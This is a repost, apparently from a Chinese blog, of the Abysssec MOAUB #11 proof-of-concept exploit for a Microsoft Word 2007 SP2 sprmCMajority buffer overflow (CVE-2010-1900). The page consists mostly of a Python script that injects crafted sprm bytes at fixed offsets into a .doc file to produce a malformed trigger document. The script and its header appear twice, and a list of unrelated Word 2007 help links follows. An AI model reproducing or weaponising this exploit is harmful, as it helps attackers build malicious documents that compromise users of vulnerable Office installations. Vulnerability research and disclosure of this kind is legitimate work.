MOAUB #11 - Microsoft Office Word 2007 sprmCMajority Buffer Overflow
2010-11-12 17:21
459 查看
'''
__ __ ____ _ _ ____
| // |/ __ / // | | | | _ /
| / / | | | | / / | | | | |_) |
| |//| | | | |/ // /| | | | _ <
| | | | |__| / ____ / |__| | |_) |
|_| |_|/____/_/ /_/____/|____/
http://www.exploit-db.com/moaub11-microsoft-office-word-sprmcmajority-buffer-overflow/ http://www.exploit-db.com/sploits/moaub-11-exploit.zip
'''
'''
Title : Microsoft Office Word sprmCMajority buffer overflow
Version : Word 2007 SP 2
Analysis : http://www.abysssec.com Vendor : http://www.microsoft.com Impact : Critical
Contact : shahin [at] abysssec.com , info [at] abysssec.com
Twitter : @abysssec
CVE : CVE-2010-1900
'''
import sys
def main():
try:
fdR = open('src.doc', 'rb+')
strTotal = fdR.read()
str1 = strTotal[:4082]
str2 = strTotal[4088:]
sprmCMajority = "/x47/xCA/xFF" # sprmCMajority
sprmPAnld80 = "/x3E/xC6/xFF" # sprmPAnld80
fdW= open('poc.doc', 'wb+')
fdW.write(str1)
fdW.write(sprmCMajority)
fdW.write(sprmPAnld80)
fdW.write(str2)
fdW.close()
fdR.close()
print '[-] Word file generated'
except IOError:
print '[*] Error : An IO error has occurred'
print '[-] Exiting ...'
sys.exit(-1)
if __name__ == '__main__':
main()
__ __ ____ _ _ ____
| // |/ __ / // | | | | _ /
| / / | | | | / / | | | | |_) |
| |//| | | | |/ // /| | | | _ <
| | | | |__| / ____ / |__| | |_) |
|_| |_|/____/_/ /_/____/|____/
http://www.exploit-db.com/moaub11-microsoft-office-word-sprmcmajority-buffer-overflow/ http://www.exploit-db.com/sploits/moaub-11-exploit.zip
'''
'''
Title : Microsoft Office Word sprmCMajority buffer overflow
Version : Word 2007 SP 2
Analysis : http://www.abysssec.com Vendor : http://www.microsoft.com Impact : Critical
Contact : shahin [at] abysssec.com , info [at] abysssec.com
Twitter : @abysssec
CVE : CVE-2010-1900
'''
import sys
def main():
try:
fdR = open('src.doc', 'rb+')
strTotal = fdR.read()
str1 = strTotal[:4082]
str2 = strTotal[4088:]
sprmCMajority = "/x47/xCA/xFF" # sprmCMajority
sprmPAnld80 = "/x3E/xC6/xFF" # sprmPAnld80
fdW= open('poc.doc', 'wb+')
fdW.write(str1)
fdW.write(sprmCMajority)
fdW.write(sprmPAnld80)
fdW.write(str2)
fdW.close()
fdR.close()
print '[-] Word file generated'
except IOError:
print '[*] Error : An IO error has occurred'
print '[-] Exiting ...'
sys.exit(-1)
if __name__ == '__main__':
main()
相关文章推荐
- Microsoft Office Word 2007 文档结构图突然变小的解决办法
- Microsoft Office Word 2007 切换窗口后鼠标无法编辑的解决办法 (PowerDesigner12惹得祸)
- Microsoft Office Word 2007 的BUG
- Microsoft Office Word 2007 切换窗口后鼠标无法使用问题的解决办法
- Microsoft Word Buffer Overflow (Exploit 2)
- 【转】window7下Word 2007报“Microsoft office word已停止工作“
- 【转】window7下Word 2007报“Microsoft office word已停止工作“
- Embedding Documents in Word 2007 by Using the Open XML SDK 2.0 for Microsoft Office
- Microsoft Office Word 2007 切换窗口后鼠标无法使用问题的解决办法
- Microsoft Word Buffer Overflow (Exploit 2)
- Microsoft Office Word、Excel and PowerPoint 2007 file format compatible package
- Microsoft Office Word 2007 Step by Step
- window7下Word 2007报“Microsoft office word已停止工作“
- Microsoft Office Word 2007 切换窗口后鼠标无法使用问题的解决办法
- Microsoft Office Word 2007 文档结构图突然变小的解决办法
- Microsoft Office Word 2007 切换窗口后鼠标无法使用问题的解决办法
- Microsoft Office Word 2007 切换窗口后鼠标无法编辑的解决办法 (PowerDesigner12惹得祸)
- 打开包含图片或对象的 Microsoft Office Word 2007 文档时,图片或对象不显示。
- 【翻译自mos文章】 怎么对Microsoft (Office) Word Document 2007 索引化?
- Microsoft Office Word、Excel 和 PowerPoint 2007 文件格式兼容包